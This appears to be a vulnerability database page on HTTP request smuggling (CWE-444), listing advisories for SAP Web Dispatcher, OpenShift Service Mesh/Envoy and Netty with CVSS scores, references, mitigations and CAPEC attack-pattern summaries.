SAP Web Dispatcher and Internet Communication Manager (ICM), versions - KRNL32NUC 7.21, 7.21EXT, 7.22, 7.22EXT, KRNL32UC 7.21, 7.21EXT, 7.22, 7.22EXT, KRNL64NUC 7.21, 7.21EXT, 7.22, 7.22EXT, 7.49, KRNL64UC 7.21, 7.21EXT, 7.22, 7.22EXT, 7.49, 7.53, 7.73, WEBDISP 7.53, 7.73, 7.77, 7.81, 7.82, 7.83, KERNEL 7.21, 7.22, 7.49, 7.53, 7.73, 7.77, 7.81, 7.82, 7.83, process invalid HTTP header. The incorrect handling of the invalid Transfer-Encoding header in a particular manner leads to a possibility of HTTP Request Smuggling attack. An attacker could exploit this vulnerability to bypass web application firewall protection, divert sensitive data such as customer requests, session credentials, etc.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-33683"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-14T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "SAP Web Dispatcher and Internet Communication Manager (ICM), versions - KRNL32NUC 7.21, 7.21EXT, 7.22, 7.22EXT, KRNL32UC 7.21, 7.21EXT, 7.22, 7.22EXT, KRNL64NUC 7.21, 7.21EXT, 7.22, 7.22EXT, 7.49, KRNL64UC 7.21, 7.21EXT, 7.22, 7.22EXT, 7.49, 7.53, 7.73, WEBDISP 7.53, 7.73, 7.77, 7.81, 7.82, 7.83, KERNEL 7.21, 7.22, 7.49, 7.53, 7.73, 7.77, 7.81, 7.82, 7.83, process invalid HTTP header. The incorrect handling of the invalid Transfer-Encoding header in a particular manner leads to a possibility of HTTP Request Smuggling attack. An attacker could exploit this vulnerability to bypass web application firewall protection, divert sensitive data such as customer requests, session credentials, etc.",
  "id": "GHSA-wp36-xpj5-g4w9",
  "modified": "2023-09-28T18:30:41Z",
  "published": "2022-05-24T19:08:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33683"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/3000663"
    },
    {
      "type": "WEB",
      "url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=580617506"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WPXV-X75W-VP46

Vulnerability from github – Published: 2025-01-28 12:31 – Updated: 2025-01-28 12:31
VLAI
Details

A flaw was found in OpenShift Service Mesh 2.6.3 and 2.5.6. Rate-limiter avoidance, access-control bypass, CPU and memory exhaustion, and replay attacks may be possible due to improper HTTP header sanitization in Envoy.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-0752"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-28T10:15:09Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in OpenShift Service Mesh 2.6.3 and 2.5.6. Rate-limiter avoidance, access-control bypass, CPU and memory exhaustion, and replay attacks may be possible due to improper HTTP header sanitization in Envoy.",
  "id": "GHSA-wpxv-x75w-vp46",
  "modified": "2025-01-28T12:31:07Z",
  "published": "2025-01-28T12:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0752"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-0752"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2339115"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WX5J-54MM-RQQQ

Vulnerability from github – Published: 2021-12-09 19:09 – Updated: 2023-08-04 20:07
VLAI
Summary
HTTP request smuggling in netty
Details

Impact

Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling.

Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.1.71.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 4.0.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jboss.netty:netty"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 4.0.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-43797"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-12-09T18:17:28Z",
    "nvd_published_at": "2021-12-09T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nNetty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling.\n\nFailing to do the validation might cause netty to \"sanitize\" header names before it forward these to another remote system when used as proxy. This remote system can\u0027t see the invalid usage anymore and so not do the validation itself.\n\n",
  "id": "GHSA-wx5j-54mm-rqqq",
  "modified": "2023-08-04T20:07:19Z",
  "published": "2021-12-09T19:09:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-wx5j-54mm-rqqq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43797"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/pull/11891"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/07aa6b5938a8b6ed7a6586e066400e2643897323"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00008.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20220107-0003"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5316"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2022.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HTTP request smuggling in netty"
}
Mitigation
Implementation

Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].

Mitigation
Implementation

Use only SSL communication.

Mitigation
Implementation

Terminate the client session after each request.

Mitigation
System Configuration

Turn all pages to non-cacheable.

CAPEC-273: HTTP Response Smuggling

An adversary manipulates and injects malicious content in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., server).

See CanPrecede relationships for possible consequences.

CAPEC-33: HTTP Request Smuggling

An adversary abuses the flexibility and discrepancies in the parsing and interpretation of HTTP Request messages using various HTTP headers, request-line and body parameters as well as message sizes (denoted by the end of message signaled by a given HTTP header) by different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) to secretly send unauthorized and malicious HTTP requests to a back-end HTTP agent (e.g., web server).

See CanPrecede relationships for possible consequences.

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